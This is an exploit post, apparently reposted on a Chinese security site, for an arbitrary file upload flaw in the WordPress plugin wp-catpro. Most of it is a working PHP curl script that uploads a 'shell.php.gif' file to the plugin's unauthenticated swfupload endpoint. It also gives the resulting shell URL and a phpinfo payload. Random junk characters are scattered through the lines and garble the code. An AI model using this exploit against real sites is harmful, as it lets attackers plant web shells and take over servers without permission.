WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
5 s. z& b& G6 J' V* C下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
* U4 y% l3 U  r/ M####
  }+ y! h" H1 ]0 y+ z1 |
#=> Exploit 信息:
* R) A- ~1 c" J9 v' `------------------
5 y+ b7 U) x- o$ z; J7 I, l6 m5 w# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
$ [& T1 e- y* q" J& [* ]( d: Y# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
0 ~9 U# `, b7 ]4 }9 d# b  L
, G& _. z7 M2 D5 e9 P#=> Exploit
. G9 `2 Z+ t0 ]; T" a-----------
5 z* y  s+ i* K- O4 ?. O1 w( K' v<?php
$ |$ q) q, J7 `0 K2 y" T5 b
$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
+ x  w7 l' {! D9 o: o, [$ z' R1 @curl_setopt($ch, CURLOPT_POST, true);
. w; ]( p& }4 Z, ecurl_setopt($ch, CURLOPT_POSTFIELDS,
3 D- D7 d" d( Y- e& O9 \array('Filedata'=>"@$uploadfile",
$ c9 g/ [- ]3 ^( Q/ j+ x9 u  M+ P'folder'=>'/wp-content/uploads/catpro/'));
) q: q3 ?+ v. \: N" a1 a; O, t+ V8 ocurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
; f# E. O+ K0 v+ F: h1 ]0 a5 q7 p$postResult = curl_exec($ch);
curl_close($ch);
+ C: m! Y/ @6 O5 W' T0 |
0 b* ]. G' ?; \9 v& N' C. |3 Kprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  f* G; I9 O! b. }; F' A  ?>
8 ]6 M! f% I& P2 _% z<?php
phpinfo();
: y- g7 e! M4 E) Y% W?>